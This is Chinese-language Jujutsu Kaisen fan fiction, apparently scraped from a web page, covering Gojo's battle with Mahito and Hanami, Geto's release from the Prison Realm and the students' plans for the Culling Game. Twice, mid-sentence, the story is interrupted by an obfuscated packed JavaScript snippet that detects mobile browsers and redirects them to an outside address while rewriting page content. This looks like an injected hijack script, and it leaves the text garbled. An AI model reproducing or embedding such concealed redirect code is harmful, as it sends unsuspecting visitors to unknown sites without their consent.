“我想和‘天使’说话,”日照透过她的身体看向体内的另一个灵魂,“能叫她出来吗?” 来栖华有一种被看穿了的感觉。青年似乎只将她当成了一个没有自主意识的躯壳,这样的忽视让她有一些不爽。 “你找我何事?”天使的嘴巴出现在了来栖华的脸颊上。 日照终于露出了一点笑意:“我想借用你的术式。” 他话音未落,来栖华在天上吹响了金色的号角。圣光从天而降,击碎了一只靠近的咒灵。 来自“神”的圣洁光辉让日照下意识地感受到了不适,他已亲眼目睹并理解了天使的术式,与“天敌”对话让他稍微兴奋了起来。 “说来听听。”天使同意了对话的请求。 来栖华终于落到了地面上。天使不认识这个人,这就意味着他肯定不是古代受肉的术师。能够知晓天使的存在,这不仅让人怀疑对方和死灭洄游的管理者有什么联系。来栖华对死灭洄游的存在不甚在意,世人知不知道咒灵也与她无关。她只想要尽可能行善,更加靠近“那个人”一点。 在她靠近日照的过程中,天使开口:“等等,华。你的身上戴着的是什么?” 日照的手搭在网球袋上,手指拨弄着拉链:“我的包?里面都是很重要的东西。” 他随口回应着,眼神飘忽起来。他的这个网球袋也是一个低级咒具,里面的空间要远比看上去更大,因此才能够放下包括雷切在内等等诸多物品。尽管级别不高,但这个袋子可以说是他价值最高的几样东西之一了。最棒的是他不用同等承受包里物品的重量。 狱门疆·里就在包里,这个包并不能隐藏它的咒力。如果是擅长追踪的术师,很容易能在他附加在包上的结界术快要破碎的时候察觉到异样。当然,在他的包里散发着“邪恶气息”的不只有狱门疆·里。 因为天使的原因,来栖华停在他们面前十米左右的地方,警惕地看着他。 “不,”天使不打算让他蒙混过关,“你知道我说的不是那个。” 日照沉下脸。来栖华终于知道为什么自己直觉上不喜欢他了。这个人并非真心实意在笑,现在褪下那层下意识的伪装,青年留下的是毫无自觉的冷漠。 “天使......”她悄声说。 日照打量她的眼神让她汗毛倒竖,体内的天使也突然没了声音,似乎在衡量着什么。 她不由得用更大的声音叫她:“天使!” “可惜我不想告诉你呢。”日超拿出了雷切。看上去很可能会打起来,丽美有些紧张地握紧拳头。 天使通过来栖华的视角能够将这个现代青年术师一览无余。他身上混杂的咒力十分复杂,除了他本人的咒力之外,那个网球袋里也散发着各式各样的气息,恐怕是装了很多咒具或者咒物,虽然附加了结界术,但时限将至,结界已经摇摇欲坠。 所以来自脖颈上那根绳子上的异质咒力就极容易被忽略。 如果她猜得没错,捆住青年脖颈的黑色绳编项链也是一个咒具,拴在上面的装饰物是一个咒物!而且似乎与他们受肉前的存在状态非常相似。 那是一个能够受肉的咒物。 “但是,和他制作出来的有些许不同......”天使缓缓说道。现代居然已经有术师能够将这一过程完美复刻出来了吗? “不,是完全不同才对。”日照没有将雷切拔出来,他反复摩挲着刀柄上凸起的浮雕,以此让自己尽快平静下来。 权衡再三,天使决定跳过这个话题,将问题回归到最初:“你所求何事?” 日照深吸一口气:“我需要你用术式打开一个咒物的封印。” “理论上是可以做到的,当然,我也有要求。” “这很公平。”日照拿出了狱门疆·里。 得到了天使的同意,来栖华向日照走去。她站在他身前两米,足够她看清被他托在手上的方形咒物。 “可以,我的术式可以解开它的封印。但这个东西看起来只是一个‘媒介’,是一个用来开关的‘锁’,真正的咒物并不是它。” “不愧是古代术师,”日照又用布将狱门疆·里包好,放回了背包里,“我想你这两天应该不是很着急吧?” 同行的人又多了一个,在寻找今晚落脚点的路上,天使和日照谈起了帮他解开封印的条件。 “堕天?那是谁?” 作为解除狱门疆封印的条件,天使要日照帮她寻找一个叫“堕天”的古代术师,然后消灭他。只有这个人,天使无论如何都想要除之而后快。 日照踢开路边的石块,这条路附近的电缆被破坏了,街道旁的路灯一闪一闪的,有些短路。 “我的目的是消灭所有受肉的泳者。他们之中有很多人在受肉时抹杀了容器的自我意识,不管是有心还是无意,这都是不被允许的。这违背了神的天理。” “神?” “只是给我的信条附加了个简洁的称呼,不必深究。” 日照明白了:“那个‘堕天’是因为什么?” 天使的信条对所有受肉的泳者一视同仁,唯独“堕天”不同。 “那是我生前的执念,只要你能帮我杀掉这个泳者,我会不遗余力为你提供帮助,”天使说,“也许你听过他的另一个称呼。” “千年前的平安时代,他即是天灾一样的存在。两面四手的诅咒之王。” “你是说......两面宿傩?” 丽美是第一次知道这个名字。来栖华听天使提起过,但天使生于千年前,对现代流传的关于诅咒之王的传说并不清楚。 “比较普遍的说法是,两面宿傩是传说中两面四手的假想鬼神,在平安时代曾有无数术师讨伐他,但都失败了。死后尸体化作死蜡流传了下来,也就是二十根宿傩的手指,”日照慢悠悠地说,“宿傩的手指被当成特级咒物,有一部分被回收了,一部分流落在外,或者当成镇物放置在可能生成强力诅咒的地方。” 说到这个程度应该就差不多了吧?日照悄咪咪地瞥了一眼来栖华。 见天使没有再说话,他开口道:“我们来定下束缚吧,如果在11月7日之前我们没有碰到宿傩,你先帮我解封狱门疆,之后我会完成我的承诺。” 来栖华问:“狱门疆里封印的是你的同伴?” “还算是很重要的人。” 来栖华觉得这样也行,天使告诉过她“束缚”对术师的约束和惩罚,只要立下“束缚”倒也不怕他反悔。 “修改一下你的说法,年轻人,”天使说,“这样的束缚没有意义。” 日照摊手,他知道这样没办法将天使糊弄过去。他修改着“束缚”的条件,直到天使满意为止。 “并非我有意针对,爱在束缚上玩文字游戏的人不在少数......甚至说现在的束缚基本上都成为了玩弄和欺骗的天堂,只是为了避免不必要的麻烦而已。” “我明白我明白,不用在意这些,”日照勾了一下嘴角,带着她们向前面的酒店走去,“放在天平两端的东西自然要好好衡量价值才行啊。” 日照走在前面,丽美跑到他身边偷偷问:“日照先生,如果......我是说如果,你们一直找不到宿傩,或者发现无法杀死他的话......” 青年满不在乎:“那就痛快地死掉喽!” 天使反驳他:“违背多人结成束缚的代价虽然要比自身的束缚更严重,但也不一定是死亡,不过不用太担心。” 三双眼睛注视着来栖华手背上的嘴巴,天使说道:“我的术式能够彻底杀死他。” “......哇哦。”日照蹭着手臂,神色奇怪地说:“这倒是意外之喜啊。” 在伪六眼没有完全看透的地方,天使的术式似乎比日照想象中的作用更大一些。 丽美悄悄吐槽:“为什么刚才我说的话会被听到啊......” 来栖华打了个哈欠,就算是术师也是要吃喝休息的:“困死了,我们赶紧......” 地面在颤抖,日照和来栖华同时看向了他们的北方。那里有庞大的咒力正在爆发,用伪六眼观测的话,看上去像是......咒灵? 少女一脸疲惫:“是谁啊,这么夸张?大半夜也能打起来吗?” “咒灵的话,夜间的确更活跃一些。”天使说。 日照的感觉更微妙一些。在地面第一波震颤结束后,他们都看见了冲天而起的树海。磅礴翻涌的树根刺破了结界,延伸到了外面。隔了大概十几秒,第二波震动传到了他们脚下。 日照闭上了一只眼睛,剩下单侧的视野里所有景色飞速推进,等待眩晕和重影消失,他大概能模模糊糊地看见站在高空的树根上对峙的三个人。不,是两个咒灵和一个人。手边没有在观景台时拿着的那种望远镜玩具,用肉眼就只能做到这种程度了,人影还是糊作一团,不过人物配色倒是熟悉得很。 今晚月色不错,所以很清晰地把五条悟那头白毛照了出来。 “怎么了,你准备去参战吗?那边至少有两个特级咒灵存在。”天使问。 丽美和来栖华对咒术界的等级划分没什么概念,此时瞌睡也全都跑了。 “距离稍微有些远啊,”日照比划了一下他们和那群树根所在地之间的距离,“你能带几个人飞?” “华只能带一个。” 日照望向来栖华,但并非在对她说话:“你呢?” 天使回绝:“我不会随意使用华的身体。” “好吧好吧,我就是随便问问。”日照伸出手,在来栖华躲开之前拍了她一下。 “你干什么?” 日照拍拍手:“现在你可以试试一手一个?” —— 五条悟站在花御用咒力生成的树根上。这些树根排山倒海般升起,肆无忌惮地挤压着地面上的房屋和街道。 为了找到这个擅长隐匿气息的大草包,五条悟可废了不少力气。不光是他,机械丸放出来的小傀儡们也立了大功。 “五条悟,现在你没有【无下限咒术】,还敢出现在我们面前吗?” 和花御联手的是真人,这次它找到了真正的狱门疆。 被日照重伤灵魂的真人尚未痊愈,面对曾经的最强咒术师,它还是难以抑制地感到兴奋。 想要看到原本高高在上的人跌入凡尘,这种感觉它再熟悉不过,毕竟它是诞生自人类的诅咒嘛。 五条悟摘下眼罩:“真是的,这句话到底要我说多少遍啊……” 苍天之瞳里满是冰冷的杀意,毫不留情地贯穿了两个咒灵的心脏:“你们真的愚蠢到以为凭这样就能胜过我?” “我们已经足够重视你了,”真人咧开嘴巴,露出一个扭曲的笑容,“但是你现在没有术式啊!!术式就是世界!!” 它仿佛能够看到五条悟的结局。 “我说,不要搞出这么大的动静来好吗?”五条悟比出了释放领域展开时的手势。 就是这样一个小小的动作,竟然真的吓退了两个特级咒灵。 五条悟见状哈哈大笑,一边靠近它们,一边大声嘲讽:“害怕到瑟瑟发抖了吗!?真丢脸啊!!” 花御和真人经历过涩谷地下五层的战斗,它们知道哪怕仅凭咒力操作,五条悟依旧强得像是一个怪物。 只是虚张声势吗?花御无法确定,但真人知道哪怕没有【无下限咒术】,五条悟的领域依旧具有威胁性。当初在涩谷,在花御拿走狱门疆后,真人本打算开启领域结束战斗,但五条悟用没有被赋予术式的【无量空处】击碎了它的领域。真人因领域陷入术式熔断期,对上失去术式的五条悟依旧是被一边倒暴打的境地。 真人在看到五条悟开始行动的瞬间就立刻改变自身形态,但它依旧低估了五条悟的进攻速度。 哪怕有花御在旁边用术式辅助,它们居然还是处于下风。 柔软得像鞭子一样的手臂被躲过,一记重拳打在了真人的右脸。 糟糕! 五条悟的攻击倒是影响不到真人的灵魂,但是从之前的战斗和涩谷的经验中看,只要错失了防御的时机,接下来就很难从五条悟进攻的节奏中找到反击的机会了。 果不其然,包裹着咒力的拳头狂风骤雨般袭来,五条悟对格斗的精通让真人根本没有机会用术式改变身体。曾经七海建人和虎杖悠仁两人合力做到的压制,五条悟一个人就做到了,甚至攻势更为密集! 花御的枝条更难以插入他们的战斗中。若单纯的谈论术式,花御的术式等级要远远低于其他以天灾化作的特级咒灵们。但无处不在的植物就是它最大的依仗。 啪! 他们脚下由咒力变成的树根凭空消失,真人和花御踩在了浮空的木球上,五条悟则失去了落脚点,向下坠去。 “怎么说,真人?”花御询问真人的意见,它们必须尽快决定是否要继续和五条悟打下去。如果直接离开这里,若有一天五条悟恢复了【无下限咒术】,持有狱门疆的它们肯定都会被祓除。 想要杀死五条悟,机会只有这一次。 羂索那边是靠不住了,它们一直以利益相同为由和羂索合作,如今羂索的真实目的昭然若揭,针对咒灵们的利用也毫不心慈手软。他肯定想要花御手中的狱门疆,单就凭他在涩谷事变末尾强行剥夺【无为转变】的事,花御都不会再信任他了。 狱门疆里封印的是夏油杰......有咒灵操术在,特级咒灵们的行动会更碍手碍脚。 真人遵从自己的本能。花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137742|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御控制空中的木球底部延伸出无数木刺,攻向空中无处躲避的五条悟。 有咒力强化身体,花御的木刺只是蹭过了五条悟的身体,没有对他造成任何实质性的伤害。 真人追着五条悟来到地面,它们只有连续开启领域才可能有机会近身。必须要尽可能地削弱五条悟,由真人先开启领域,没有了无下限的不可侵,五条悟必然要展开领域对抗。如果自己的领域败下阵来,就由花御跟上。只要花御能撑到它的术式熔断时间结束,它就能进到领域里对五条悟使用【无为转变】。 “你们好像想了很多啊,”五条悟察觉到了远处靠近的咒力,“想好送死的方式了吗?” 因为实力差距而畏首畏尾?它们可是诅咒啊!比起漏瑚,真人更自在。 “领域展开,”它张开嘴,四条小手臂在口腔内部结出掌印,“【自闭圆顿裹】!!” 花御这时也察觉到了急速接近的不速之客,大声提醒:“真人!有人来了!” “所以我说了,”五条悟感受着体内力量的变化,“不要搞出这么大动静......你们还真是毫无危机感啊。” 【无量空处】与【自闭圆顿裹】同时展开,漆黑的结界瞬间对撞。 具象化的人手在真人背后层层张开,像是一朵花一样向五条悟包围而去。它听到了花御的提醒,在领域的结界闭合之前透过缝隙看到了天空中的人影。它判断那些人到这里还有一段距离,领域外还有花御清场,所以不必太过担心。接下来就要在领域的必中必杀效果上和五条悟进行较量了,对方的领域无法搭载术式,空有必中效果,用自己领域的必中效果相互抵消就可......以!? 它听到了结界外壳破碎的声音。 从领域被击破到被【无量空处】击中,真人被灌入脑内的无限的信息洪流击溃,完全无法理解究竟发生了什么。为什么?为什么这个【无量空处】被赋予了生得术式!? 半空中的日照张开手掌,居高临下地看着碎裂的结界:“太好了,距离刚刚好呢。” 鲜血从真人的眼眶、鼻子和嘴巴里流了下来,更严重的伤害在大脑中,它已经完全失去了思考能力。花御无法看见领域内的对抗,它以为真人只是在领域对抗中落入下风,正准备展开自己的领域接替真人困住五条悟,却在破碎的结界后看到了耀眼的苍蓝。 “呃!?” 它的身体不受控制地向前,被无形的引力吸引冲向五条悟的方向。庞大的咒力在他头顶聚集着,花御操纵植物抽打向五条悟的下肢,但却被透明的屏障挡住了。 他恢复了术式!? 花御即刻改变策略,让生出的树枝困住自己,防止被五条悟头顶【苍】吸过去。如果五条悟恢复了【无下限咒术】,那么它们根本没有继续打下去的意义。 真人......它最后看了一眼还在呆愣中的同伴,迅速决定撤退。 但,早已来不及了。五条悟的【苍】击中了它。 术式顺转形成的吸引之力摧毁了附近的一整片建筑,击中花御的地方留下了一道深坑。在尘埃落定之后,大半个身体被碾碎,正将剩余的身体化为植物潜入地下的花御被五条悟踩断了脖颈,将头踢远之后,五条悟从它的身上取出了狱门疆·表。 花御将自己的身体掏出了一个空洞存放狱门疆,所以五条悟花了好几天才追到了它的气息。 “哟!你来得也太快了吧?这么不信任我?”五条悟上下抛着狱门疆,恶劣地希望夏油杰在里面被甩晕。 来栖华一手拎着日照,一手提着丽美缓缓地落在了地上。她发现这个“盟友”似乎来头不小,而且这个白毛她好像曾经在哪里见过。好像是......她第一次遇见惠的时候? “是你太慢了,”日照快走两步,直接一拳打在呆立在旁边的真人脸上,“既然碰巧凑到了一起,那我们就赶快开始吧。” 真人被这直击灵魂的一拳打醒了,但本就千疮百孔的灵魂已经快像是烟花一样炸开,它根本没有继续战斗的能力了。它的身体被重重的力道击飞,在空中飞了几圈才摔到地上。呆滞地抬头,满脸血的咒灵终于感觉到了一丝害怕。 无法让自己变成“遍杀即灵体”的状态,虽然肚子里还有改造人的存货,但使用不了【无为转变】。它的双眼对上了日照的眼睛,里面明晃晃的傲慢让真人意识到了他们之间存在的差距。实力上、心态上,正如它和虎杖悠仁战斗时扬言的那般,涩谷事变是属于人类和咒灵的战争,决定了百年后谁能站在荒野中继续大笑。 而涩谷的战争已经结束了。人类和咒灵之间,由它们挑起的战争已经彻底结束了。如果这个人当时也在涩谷,它们还能取得胜利吗? “看来你已经明白了,”日照昂起下巴,真人仰视着他,“你们又不会彻底死去,死亡对你们来说没有意义吧?还是说,你舍不得这里?” 他说到这里,突然被自己的话逗笑了,呵呵地笑了两下。将嘴角压下去后,日照对五条悟说:“这位......” “......我是来栖华。” “来栖华小姐体内的天使能够解开狱门疆的封印。” 天使道:“你想让我解封的就是这个东西?” 日照从自己的包里拿出狱门疆·里:“就像你说的,悟手里的是正门,只要你用术式破坏我手里这个后门的封印就能打开正门了。” 五条悟将狱门疆·表摆到了地上,日照将手上的咒物放到了旁边。 天使答应了:“你们离远一点。华,准备动手吧。” 飞上天空之前,她提醒道:“年轻人,别忘了我们的约定。” 日照对她比了一个大拇指,让她放心动手。他和五条悟远离狱门疆的时候没忘记带上花御的头和站不起来的真人。丽美紧紧跟在他身后。 他扯着真人的头发把它扔到一旁,五条悟问:“你和她定了束缚?这个又是什么情况?” 五条悟问的是丽美。 “啊......只是保险一些而已,万一和她打起来了呢?” 五条悟摸了摸下巴,沉默了一小会儿:“我说,杰不是让你不要干这种事了吗?你这家伙还真是没救了啊。” “哈哈,”日照没把他的话放在心上,“你不是早就知道了吗?” “话是这么说啦......” 在他们说话之时,来栖华已经抵达了狱门疆正上方的半空。由咒力具现化而成的天使号角出现在她的手中,背生双翼的少女吹响了它。 “光啊,净化世间万物之光,负其罪孽担其忧,带他到主座前来。” 硕大的光阵照亮了夜空,【雅各布天梯】发动瞬间产生的光芒点亮了黑夜,让整个结界宛如白昼。 日照的身后,真人悄悄站起身。它孤注一掷地向前,抓住了日照的手腕。 青年回头,脸庞的边缘被圣光照得快要消失溶解一般,唯独不变只有那只眼睛。 真人在黑色瞳孔的倒影中看到了自己得意的笑容。 “——【无为转变】。” 12. 好久不见 真人切切实实地握住了日照的手腕。在这个距离下,没有人能够阻止真人发动术式。从手腕的位置开始,针对肉|体的改造向上蔓延,瞬间扩散覆盖了日照的半张脸。 是它赢了!真人已经开始看向五条悟,但下一刻它的手却被人反手握住了。 “原来如此,是这种感觉啊。”半张脸已经变成怪物模样的“恶魔”反客为主,他直接扯断了真人的手臂,在对方不可置信的眼神中,他身上所有的异变在瞬间恢复如初。 为什么!?从遇到这个人开始,真人已经搞不懂术式和灵魂了。它问了无数次为什么,总得不到解答。他的术式不是那种奇特的分解攻击吗!?为什么能将被【无为转变】攻击的灵魂恢复? “领域......”嘴巴还没完全张开,它就被日照一拳砸进了地面。 啊啊,原来是这样!这是“他们”的术式! 归根到底,真人缺少一些对咒术和术式的基本概念。不过在死灭洄游之前,受肉|体的存在已经将近五十年左右没人提起了,倒也不能怪它无知,只能说它还是太“年轻了”。 太过野生的灵魂虽然一路高歌猛进地进化,但偏偏会在这样的小细节上满盘皆输呢。 容器的体内有两个灵魂,这具肉|体自然也会有两个不同的术式。真人盯着日照的手,它还是想在被祓除前知道日照的另一个术式究竟是什么。这么一想,他们初次交手时自己突然四肢无力、无法操控咒力也是因为他的术式吧? 日照抬起手,身后落下的光柱已经逐渐塌缩,最后消散了。 在死刑的铡刀落下前,五条悟抓住了日照的手臂:“好了好了,那边已经结束了哦。” “放手,五条。” 五条悟撇撇嘴:“诶~为什么叫得这么生分,星海?我们可是幼驯染哦?” 日照和五条悟对视,看上去不肯退步。 “难得这么好的机会,让杰收服不好吗?”五条悟松开了手,向日照身后抬抬下巴:“他来啦!来为这场伟大的重逢鼓掌吧!已经热泪盈眶了吗?” 扎着丸子头、额头上一侧留有奇怪刘海的青年靠近了看热闹不嫌事大的挚友。看着熟悉又陌生的背影,夏油杰难得有些激动地叫他的名字:“弥山......” 日照转过身,夏油杰只顿了一下,就改了口:“星海。” “好久不见,欢迎回来。” 其实他想说欢迎回家的,但是这个场景怎么看也不太合适,所以换了一个措辞。 2018年11月5日,1时25分,夏油杰从狱门疆中解封。 —— 栃木县立体停车场顶层。即将爆发的混战被突破结界的巨大动静按下了暂停键,从他们所处的地方越过重重高楼,他们看到大量的树根凭空出现,大约二十分钟后又消失殆尽。 “真夸张啊!”虎杖悠仁坐在铁楼梯上吃饭团,秤金次和星绮罗罗站在监控室的房顶上向树根出现的方向张望着,伏黑惠递给虎杖悠仁一瓶水。 “狱门疆就在它的身上,现在搞出这么大的动静,肯定是五条老师找上去了。”他们在交流会时都和花御战斗过,对它的能力并不陌生。 “不能问问机械丸吗?五条老师一个人的话......” 伏黑惠又丢给他一个饭团。说实话,他想象不到五条悟会输的情景。那个人总是游刃有余,从伏黑惠认识他起就没见过他露出过疲惫,也很少见他有在学生们面前睡着的时候。 “他不会输的。如果五条老师这次能带回狱门疆,我们寻找天使的速度就必须加快了。七海先生那边也没有消息......” 沉寂许久的机械丸终于有了动静。 “虎杖、伏黑,狱门疆已经解封完成,你们可以专心做你们的事情了。” “诶!?连解封都已经完成了吗?怎么做到的!?” 机械丸没有回答虎杖悠仁的疑问,又消失了,大概还在忙其他的事情。 秤金次和星绮罗罗从房顶下来:“夏油老师已经出来了?那你们接下来要怎么做?先说好,海胆头同学,我答应帮你们平定死灭洄游,在结束后一定要兑现你的承诺啊!” 虎杖悠仁摸着被秤金次痛击的脸颊,这个人刚开始还一副激情上头的样子要和他打架,然后在结界那边闹出大动静后又听见伏黑惠迅速将现状大喊了一遍(不愧是伏黑哥!),就停手不打了。现在的态度简直一百八十度大转弯啊! 伏黑惠想说现在他只是名义上的家主,而且真希前辈说他老爹正在因为家族资产被转移而大闹本家,估计等他有空回去的时候连完好的房子都见不到了吧?不过,这种时候空头支票能给多少就先给多少吧。 “叫我伏黑就好,”他看向三年级的两人,“我们接下来要去赚取足够多的分数,为了将我姐姐救出死灭洄游而增加有利于我们的规则。同时还要寻找封印了五条老师【无下限咒术】的人手咒物,目前能用的人手不多,请务必来帮忙。” “天元大人不是不知道人手咒物的下落吗?你们要怎么找?” “机械丸前辈应该就是在忙这件事,”估计也是大海捞针,他们只能像无头苍蝇一样乱找,也许五条老师和其他擅长追踪的人能够捕捉到一些咒力残秽,“他让我们专心忙自己的事。” 而且夏油杰也出来了,他们两个至少有一个人能够完好无损就能让大部分人放下心来。 那么需要做的就只有——赚取分数!虎杖悠仁想起了死灭洄游的规则。一个术师的生命只值5分,为了增加一个规则他们必须要杀死20个人? “悠仁,”胀相安慰他,“我们也可以分开行动。” 他是咒灵受肉,本身对夺取他人性命没有心理负担,如果虎杖悠仁无法下手,他会替虎杖悠仁拿到这些分数。 “虎杖,你问问小金能不能查看所有泳者的情报。”伏黑说。他有一个构想,前提条件是他们至少要知道每个泳者取得了多少分才行。 虎杖悠仁照他说的询问了小金,但小金拒绝展示泳者的情报。 “还必须要专门增加这样的规则吗......?” 已经在栃木县立体停车场扎根许久的秤金次和星绮罗罗没有关注过死灭洄游的具体规则,也没见过作为泳者和死灭洄游沟通窗口的小金。 “阿金,它叫小金诶,噗噗!”星绮罗罗捂着嘴忍不住偷笑。 伏黑惠提出他们可以找得分最多的几个人,只要能增加转让得分的规则,就可以不用杀人也能到足够的分数。 “但是现在我们看不到名单怎么办?” “只能拜托机械丸前辈了,他虽然没办法知道准确的分数,但各个结界行事高调的强者的行踪应该大概能够确定。” 觉醒型泳者被迫参加死灭洄游,对这个游戏不感兴趣的大有人在。受肉型泳者因为各种原因和羂索签订了契约,也不一定和他目的一致。他们只需要找到那些对死灭洄游抱有积极性的泳者就好,这些人手里肯定握有不少分数。 虎杖悠仁拍拍伏黑惠的肩膀:“不愧是你啊伏黑哥!” 伏黑惠已经放弃纠正称呼问题了:“尽快确定各自要去的结界吧。乙骨前辈来信说他正准备前往仙台结界,不出意外的话会继续往北走。” “那我们往南?”星绮罗罗靠着秤金次,举手提议。 伏黑惠打开手机刷起了LINE,从刚才起就不停有未读讯息涌入他的手机界面,他点开一连发了十几条消息的聊天框。 “谁啊?呜哇头像超可爱的!是那个吧!以前超级火的Q版可丽饼吉祥物可丽酱!” 伏黑惠敲了一下他的头,让好奇过头的虎杖悠仁远离他的手机屏幕:“你挡到我看消息了……是枷场前辈她们,大概是收到了夏油老师的消息吧?” 京都高专的枷场姐妹也很有名,因为她们是夏油老师的超级崇拜者。了解她们过去的人都会对这对姐妹遭遇的事情表示同情,从那个穷乡僻壤离开之后的枷场菜菜子和美美子像是雏鸟一般,总爱围在夏油杰的身旁。 那时夏油杰的爷爷奶奶刚刚遭遇事故离世,他为了丧礼忙得团团转,父母又被卷入舆论事件中自顾不暇,而且他本人不具备领养资格,无法照顾这对姐妹。五条悟接过夏油杰身上的任务满世界跑,为了对抗总监部,五条家也不太平,没办法照看她们。 最终的结果是她们在福利院待了一段时间,然后夏油杰作为名义上的监护人给她们安置了一个落脚点,和安顿下来的父母暂时生活在了一起。 至于为什么去京都上学而不是来东京,作为夏油杰的“嫡系”,她们肩负着打入“保守派内部”的重要职责! 据说夏油杰花了很久才说服她们。 言归正传,忽略掉枷场姐妹因为过于兴奋而发出来的无意义的拟声词,伏黑惠准确地捕捉到了他们需要的信息。 “她们刚好在九州执行任务,索性去了最南边的鹿儿岛结界,近幾地区以南也都有其他咒术师前辈去了,东北那边有乙骨前辈,咱们在关东和中部活动就行。” 不少咒术师前辈是为了疏散普通民众而被分配到了各个结界,现在结界内的普通人基本都疏散完毕,这些前辈也因为成为了泳者而无法脱离死灭洄游。 “不能强求所有人和我们目标一致,但增加脱离死灭洄游的规则对那些不想离开的人没有坏处,除非遇到不讲道理的疯子,基本上是不会有人阻挠的。” 一口气说了太多,伏黑惠拧开瓶子补充水分。 秤金次比出“三”的手势:“所以我们现在要至少增加三条规则才行。公开情报、转让分数、以及脱离死灭洄游。” 距离他们最近的是东京第1结界。 “我、虎杖和胀相去东京第1结界,秤学长你们去第2结界吧。” “得留一个人在外面联络吧?”这个叫胀相的人是加茂家的吗?看起来怪怪的。 “不用,我们可以找西宫前辈帮忙,”伏黑惠把西宫桃的联系方式交给了秤金次,“现在可以自由出入结界,她的术式更方便了。” 最终敲定下来的方案是由秤金次和星绮罗罗前往东京第2结界,虎杖悠仁三人去东京第1结界。 各自分开行动后,虎杖悠仁问:“东京第1结界的话,五条老师和夏油老师不是在那里吗?还需要我们去吗?” 伏黑惠叹了口气。 “虎杖,你觉得五条老师和夏油老师是什么样的人?” “......教师?” “让你评价他们啊笨蛋!” “抱歉!嗯,大概是最强?” “所以说,只要把所有事情都推给他们就可以万事大吉了,有很多人都这么想的吧?” 虎杖悠仁看着楼梯下面的烟头和啤酒罐,点点头。只要有五条悟和夏油杰在,没有什么事情是解决不了的。这句话已经快要成为一个诅咒,将他们抬到了一个旁人快要看不见的高度。 伏黑惠向前看,视线尽头是延伸的夜东京:“他们现在就要去完成人们要求‘最强’必须做到的事。摆平这一切。” 死灭洄游是一个追求永续性的游戏,想要平定它,一味地遵从死灭洄游的规则是没有意义的。五条悟让自己的学生们“专注做自己的事”,也就是说他们会去寻找彻底颠覆这个死亡游戏的方法,所以顾不上照顾深陷游戏中的学生们了。 也许是和幕后黑手进行博弈,或者直接杀上门去,总之五条悟和夏油杰没有空余的精力帮助他们获得分数。 而且在咒灵彻底暴露在世人眼中之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137743|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咒术界要何去何从也是他们要考虑的问题。 “我们不能再当学生了,虎杖,”伏黑惠说,“我们必须要成为‘同伴’才行。” —— 这个国家的人天生不愿意将情绪透露给别人,不仅担心冒犯他人,而且顽固地守着自己的内心,仿佛只要给别人看了,心里的东西就失去了它应有的价值。 和旧屋的重逢一样,日照和夏油杰的再会也平淡得不像样。 明明是并不陌生的脸,分开的这十多年也不是没有联系,但跨过大洋、只用电子设备的沟通和如今面对面相见给人的感觉还是不同的,距离仍旧产生了无形的隔阂。 日照侧开身子,让夏油杰将真人和花御搓成了咒灵玉。他没有即刻吸收,现在他更需要了解现状。 在五条悟的带领下,他们毫不意外地进了附近一栋看起来很豪华的酒店。他熟门熟路地从前台后面的柜子里取出钥匙,看上去以前来过这里。丽美和来栖华一人一把钥匙,他们乘了同一台电梯,女生们逐层下去,剩下他们三人来到了顶层。 轿厢电梯内很安静,只有轻轻的呼吸声。日照一直在摁揉被真人抓住的那只手,直到他们下了电梯才放开。 “我的房间钥匙呢?” 五条悟的手指上套着三把钥匙,一边甩一边说:“不行哦,星海必须和我们先去说清楚才行。” 日照小小地哼了一声,最终没有反驳他。 三人找到了其中一枚钥匙对应的房间,日照一进门就霸占了靠近窗户的沙发,五条悟和夏油杰只能坐在大床上。 “所以,弥山为什么躲起来了?”五条悟已经扒掉了眼罩,吃着房间内小冰箱里的蓝莓布丁。 “我才没有!”日照星海脸上出现了一张嘴巴,他本人露出一副“真是受不了他”的模样,翻了个白眼:“那家伙躲起来哭呢。” 日照弥山愤怒顶号:“都说了我没有!!是你自作主张才对吧!?” 五条悟在一旁看热闹,夏油杰笑眯眯地又说了一遍:“好久不见,弥山。” 日照弥山抬手招呼道:“好久不见啦!” “悟,不要在床上吃带汤水的零食啊!” “嘿嘿。” “......”夏油杰叹气,递过去两张纸巾。 气氛活络了起来,日照弥山问:“涩谷到底发生什么了?羂索占据星海的身体应该不超过三天,他难道一直把尸体带在身边吗?” “嘛,这个就说来话长了......”夏油杰有些头疼,狱门疆里没有物理意义上的时间流动,他在被封印后感觉过了很长时间,但解封出来后又觉得那段时间过得飞快。 如日照弥山所说,五条悟在地下5层第一次见到背后主使的时候,羂索并没有换上日照星海的身体。 “是理子妹妹。” 夏油杰皱着眉头,将额头抵在手上,手肘撑着膝盖。因为当年冲绳的那个事件,从结果上来说天元已经不需要再和星浆体同化,天内理子在同化时间过去后也被安排出国,和黑井美里在海外生活了。 身为星浆体的少女已经脱离了咒术界,夏油杰他们也只会每年定期和她联络,在对方考上大学之后就很少再联系了。没想到短短两天的命运相交竟以这样的方式回击了他们。 “那家伙很了解我们。”五条悟往床上一瘫。 2018年10月31日,19时。以东急百货店、东急东横店为中心,出现了半径约400m的“帐”。这是“只将一般民众封锁在其中的帐”,一般民众因人而异,可以由“窗口”单向进入,包括辅助监督在内的所有术师都可以自由出入。手机讯号被阻断。 